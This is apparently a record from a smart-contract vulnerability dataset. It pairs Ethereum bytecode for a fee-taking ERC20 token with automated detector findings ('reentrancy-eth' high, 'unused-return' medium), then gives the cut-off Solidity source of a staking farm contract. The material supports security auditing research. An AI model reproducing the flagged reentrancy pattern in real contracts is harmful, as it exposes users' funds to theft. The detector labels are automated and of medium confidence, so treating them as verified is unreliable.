fffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0d90612c2d565b60405180910390fd5b60005b8151811015610ba757600160066000848481518110610b3b57610b3a61308a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b9f90612fe3565b915050610b19565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bec6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610c0c57600080fd5b6000610c17306107b8565b9050610c2281611b2b565b50565b610c2d6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190612c2d565b60405180910390fd5b600f60149054906101000a900460ff1615610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190612cad565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d9b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda10000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610de157600080fd5b505afa158015610df5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1991906125b5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7b57600080fd5b505afa158015610e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb391906125b5565b6040518363ffffffff1660e01b8152600401610ed0929190612a7d565b602060405180830381600087803b158015610eea57600080fd5b505af1158015610efe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2291906125b5565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fab306107b8565b600080610fb66109fd565b426040518863ffffffff1660e01b8152600401610fd896959493929190612acf565b6060604051808303818588803b158015610ff157600080fd5b505af1158015611005573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061102a9190612785565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161112f929190612aa6565b602060405180830381600087803b15801561114957600080fd5b505af115801561115d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611181919061272b565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c66112ad565b73ffffffffffffffffffffffffffffffffffffffff161461121c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121390612b8d565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612c8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612bcd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612ccd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612c6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612b6d565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612c4d565b60405180910390fd5b6115ab6109fd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161957506115e96109fd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561194e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117765750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117cc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e45750600f60179054906101000a900460ff165b15611894576010548111156117f857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184357600080fd5b601e426118509190612e03565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061189f306107b8565b9050600f60159054906101000a900460ff1615801561190c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119245750600f60169054906101000a900460ff165b1561194c5761193281611b2b565b6000479050600081111561194a57611949476119c2565b5b505b505b611959838383611db3565b505050565b60008383111582906119a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199d9190612b4b565b60405180910390fd5b50600083856119b59190612ee4565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a12600284611dc390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a3d573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a8e600284611dc390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ab9573d6000803e3d6000fd5b5050565b6000600854821115611b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afb90612bad565b60405180910390fd5b6000611b0e611e0d565b9050611b238184611dc390919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6357611b626130b9565b5b604051908082528060200260200182016040528015611b915781602001602082028036833780820191505090505b5090503081600081518110611ba957611ba861308a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4b57600080fd5b505afa158015611c5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8391906125b5565b81600181518110611c9757611c9661308a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cfe30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d62959493929190612ce8565b600060405180830381600087803b158015611d7c57600080fd5b505af1158015611d90573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dbe838383611e38565b505050565b6000611e0583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612003565b905092915050565b6000806000611e1a612066565b91509150611e318183611dc390919063ffffffff16565b9250505090565b600080600080600080611e4a876120cb565b955095509550955095509550611ea886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f3d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f89816121db565b611f938483612298565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ff09190612ccd565b60405180910390a3505050505050505050565b6000808311829061204a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120419190612b4b565b60405180910390fd5b50600083856120599190612e59565b9050809150509392505050565b60008060006008549050600069d3c21bcecceda1000000905061209e69d3c21bcecceda1000000600854611dc390919063ffffffff16565b8210156120be5760085469d3c21bcecceda10000009350935050506120c7565b81819350935050505b9091565b60008060008060008060008060006120e88a600a54600b546122d2565b92509250925060006120f8611e0d565b9050600080600061210b8e878787612368565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061217583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061195e565b905092915050565b600080828461218c9190612e03565b9050838110156121d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c890612bed565b60405180910390fd5b8091505092915050565b60006121e5611e0d565b905060006121fc82846123f190919063ffffffff16565b905061225081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122ad8260085461213390919063ffffffff16565b6008819055506122c88160095461217d90919063ffffffff16565b6009819055505050565b6000806000806122fe60646122f0888a6123f190919063ffffffff16565b611dc390919063ffffffff16565b90506000612328606461231a888b6123f190919063ffffffff16565b611dc390919063ffffffff16565b9050600061235182612343858c61213390919063ffffffff16565b61213390919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238185896123f190919063ffffffff16565b9050600061239886896123f190919063ffffffff16565b905060006123af87896123f190919063ffffffff16565b905060006123d8826123ca858761213390919063ffffffff16565b61213390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124045760009050612466565b600082846124129190612e8a565b90508284826124219190612e59565b14612461576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245890612c0d565b60405180910390fd5b809150505b92915050565b600061247f61247a84612d82565b612d5d565b905080838252602082019050828560208602820111156124a2576124a16130ed565b5b60005b858110156124d257816124b888826124dc565b8452602084019350602083019250506001810190506124a5565b5050509392505050565b6000813590506124eb816133da565b92915050565b600081519050612500816133da565b92915050565b600082601f83011261251b5761251a6130e8565b5b813561252b84826020860161246c565b91505092915050565b600081359050612543816133f1565b92915050565b600081519050612558816133f1565b92915050565b60008135905061256d81613408565b92915050565b60008151905061258281613408565b92915050565b60006020828403121561259e5761259d6130f7565b5b60006125ac848285016124dc565b91505092915050565b6000602082840312156125cb576125ca6130f7565b5b60006125d9848285016124f1565b91505092915050565b600080604083850312156125f9576125f86130f7565b5b6000612607858286016124dc565b9250506020612618858286016124dc565b9150509250929050565b60008060006060848603121561263b5761263a6130f7565b5b6000612649868287016124dc565b935050602061265a868287016124dc565b925050604061266b8682870161255e565b9150509250925092565b6000806040838503121561268c5761268b6130f7565b5b600061269a858286016124dc565b92505060206126ab8582860161255e565b9150509250929050565b6000602082840312156126cb576126ca6130f7565b5b600082013567ffffffffffffffff8111156126e9576126e86130f2565b5b6126f584828501612506565b91505092915050565b600060208284031215612714576127136130f7565b5b600061272284828501612534565b91505092915050565b600060208284031215612741576127406130f7565b5b600061274f84828501612549565b91505092915050565b60006020828403121561276e5761276d6130f7565b5b600061277c8482850161255e565b91505092915050565b60008060006060848603121561279e5761279d6130f7565b5b60006127ac86828701612573565b93505060206127bd86828701612573565b92505060406127ce86828701612573565b9150509250925092565b60006127e483836127f0565b60208301905092915050565b6127f981612f18565b82525050565b61280881612f18565b82525050565b600061281982612dbe565b6128238185612de1565b935061282e83612dae565b8060005b8381101561285f57815161284688826127d8565b975061285183612dd4565b925050600181019050612832565b5085935050505092915050565b61287581612f2a565b82525050565b61288481612f6d565b82525050565b600061289582612dc9565b61289f8185612df2565b93506128af818560208601612f7f565b6128b8816130fc565b840191505092915050565b60006128d0602383612df2565b91506128db8261310d565b604082019050919050565b60006128f3600c83612df2565b91506128fe8261315c565b602082019050919050565b6000612916602a83612df2565b915061292182613185565b604082019050919050565b6000612939602283612df2565b9150612944826131d4565b604082019050919050565b600061295c601b83612df2565b915061296782613223565b602082019050919050565b600061297f602183612df2565b915061298a8261324c565b604082019050919050565b60006129a2602083612df2565b91506129ad8261329b565b602082019050919050565b60006129c5602983612df2565b91506129d0826132c4565b604082019050919050565b60006129e8602583612df2565b91506129f382613313565b604082019050919050565b6000612a0b602483612df2565b9150612a1682613362565b604082019050919050565b6000612a2e601783612df2565b9150612a39826133b1565b602082019050919050565b612a4d81612f56565b82525050565b612a5c81612f60565b82525050565b6000602082019050612a7760008301846127ff565b92915050565b6000604082019050612a9260008301856127ff565b612a9f60208301846127ff565b9392505050565b6000604082019050612abb60008301856127ff565b612ac86020830184612a44565b9392505050565b600060c082019050612ae460008301896127ff565b612af16020830188612a44565b612afe604083018761287b565b612b0b606083018661287b565b612b1860808301856127ff565b612b2560a0830184612a44565b979650505050505050565b6000602082019050612b45600083018461286c565b92915050565b60006020820190508181036000830152612b65818461288a565b905092915050565b60006020820190508181036000830152612b86816128c3565b9050919050565b60006020820190508181036000830152612ba6816128e6565b9050919050565b60006020820190508181036000830152612bc681612909565b9050919050565b60006020820190508181036000830152612be68161292c565b9050919050565b60006020820190508181036000830152612c068161294f565b9050919050565b60006020820190508181036000830152612c2681612972565b9050919050565b60006020820190508181036000830152612c4681612995565b9050919050565b60006020820190508181036000830152612c66816129b8565b9050919050565b60006020820190508181036000830152612c86816129db565b9050919050565b60006020820190508181036000830152612ca6816129fe565b9050919050565b60006020820190508181036000830152612cc681612a21565b9050919050565b6000602082019050612ce26000830184612a44565b92915050565b600060a082019050612cfd6000830188612a44565b612d0a602083018761287b565b8181036040830152612d1c818661280e565b9050612d2b60608301856127ff565b612d386080830184612a44565b9695505050505050565b6000602082019050612d576000830184612a53565b92915050565b6000612d67612d78565b9050612d738282612fb2565b919050565b6000604051905090565b600067ffffffffffffffff821115612d9d57612d9c6130b9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e0e82612f56565b9150612e1983612f56565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e4e57612e4d61302c565b5b828201905092915050565b6000612e6482612f56565b9150612e6f83612f56565b925082612e7f57612e7e61305b565b5b828204905092915050565b6000612e9582612f56565b9150612ea083612f56565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ed957612ed861302c565b5b828202905092915050565b6000612eef82612f56565b9150612efa83612f56565b925082821015612f0d57612f0c61302c565b5b828203905092915050565b6000612f2382612f36565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f7882612f56565b9050919050565b60005b83811015612f9d578082015181840152602081019050612f82565b83811115612fac576000848401525b50505050565b612fbb826130fc565b810181811067ffffffffffffffff82111715612fda57612fd96130b9565b5b80604052505050565b6000612fee82612f56565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130215761302061302c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6133e381612f18565b81146133ee57600080fd5b50565b6133fa81612f2a565b811461340557600080fd5b50565b61341181612f56565b811461341c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122031efce2d14c1c05c478d1ddddd0434ecdf195ff7bf12a5ce25525e171738a9b664736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,374 |
0xc6d7522545671b161d5ce9ff7586e5dacb2aa987
|
/**
*Submitted for verification at Etherscan.io on 2020-10-23
*/
pragma solidity 0.6.11;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract FarmPrdzRfi96 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
// deposit token contract address
address public trustedDepositTokenAddress;
address public trustedRewardTokenAddress;
uint public adminCanClaimAfter = 395 days;
uint public withdrawFeePercentX100 = 0;
uint public disburseAmount = 25e18;
uint public disburseDuration = 30 days;
uint public cliffTime = 96 hours;
uint public disbursePercentX100 = 10000;
uint public contractDeployTime;
uint public adminClaimableTime;
uint public lastDisburseTime;
constructor(address _trustedDepositTokenAddress, address _trustedRewardTokenAddress) public {
trustedDepositTokenAddress = _trustedDepositTokenAddress;
trustedRewardTokenAddress = _trustedRewardTokenAddress;
contractDeployTime = now;
adminClaimableTime = contractDeployTime.add(adminCanClaimAfter);
lastDisburseTime = contractDeployTime;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
function addContractBalance(uint amount) public onlyOwner {
require(Token(trustedRewardTokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(depositTime[msg.sender]) > cliffTime, "Please wait before withdrawing!");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function canWithdraw(address account) public view returns (uint) {
if(now.sub(depositTime[account]) > cliffTime){
return 1 ;
}
else{
return 0 ;
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
}
function disburseTokens() public onlyOwner {
uint amount = getPendingDisbursement();
